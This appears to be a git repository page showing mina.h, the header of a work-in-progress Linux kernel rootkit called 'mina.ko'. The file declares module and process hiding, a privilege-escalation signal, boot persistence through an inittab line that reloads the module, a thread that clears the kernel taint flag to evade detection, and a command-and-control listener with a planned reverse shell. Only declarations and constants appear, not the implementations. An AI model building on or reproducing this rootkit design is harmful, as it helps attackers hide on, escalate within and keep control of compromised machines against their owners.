mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
mina.h (1502B)
      1 #ifndef __KERNEL_MINA_H
      2 #define __KERNEL_MINA_H
      3 
      4 #include <linux/fs.h>
      5 #include <linux/init.h>
      6 #include <linux/kernel.h>
      7 #include <linux/module.h>
      8 #include <linux/slab.h>
      9 
     10 #define PERSISTENCE_CODE (50)
     11 #define TOGGLE_HIDE_CODE (60)
     12 #define TOGGLE_FILEHIDE_CODE (70)
     13 #define SIG_HIDE_PID (90)
     14 #define SIG_UNHIDE_PID (91)
     15 #define SIG_ESCALATE (95)
     16 
     17 // stealth.c
     18 void toggle_hide_module(void);
     19 void pid_hide(pid_t pid);
     20 void pid_unhide(pid_t pid);
     21 int pid_lookup_hidelist(pid_t pid);
     22 
     23 // persistence.c
     24 int add_inittab_entry(char const *entry);
     25 int stage_and_persist_module(void);
     26 
     27 // cmd.c
     28 int cmd_init(void);
     29 void cmd_cleanup(void);
     30 
     31 /* TODO(djnn): this should be configurable by the user once reverse-shell feature is active */
     32 #define PERSISTENCE_TAB_ENTRY ("::sysinit:/sbin/insmod /root/mina.ko\n")
     33 int add_inittab_entry(char const *entry);
     34 
     35 // taint_reset.c
     36 
     37 /* FIXME(djnn): autogen on compilation ? */
     38 #define TAINT_RESET_SLEEP_TIME (5)
     39 
     40 int zerotaint_thread(void *data);
     41 unsigned long *get_taint_mask_address(void);
     42 
     43 // mina.c (symbol should be exported because it uses global var but called somewhere else)
     44 void reset_taint_mask(void);
     45 
     46 // Module Blocker functions (defined in mina.c)
     47 void add_blocked_module(const char *name);
     48 void remove_blocked_module(const char *name);
     49 bool is_module_blocked(const char *name);
     50 
     51 
     52 
     53 
     54 
     55 // net_c2.c
     56 int c2_init(void);
     57 void c2_cleanup(void);
     58 void set_c2_listen_port(int port);
     59 
     60 #define SIG_START_C2 (98)
     61 #define C2_MAX_CONNECTIONS 10
     62 
     63 #endif /* __KERNEL_MINA_H */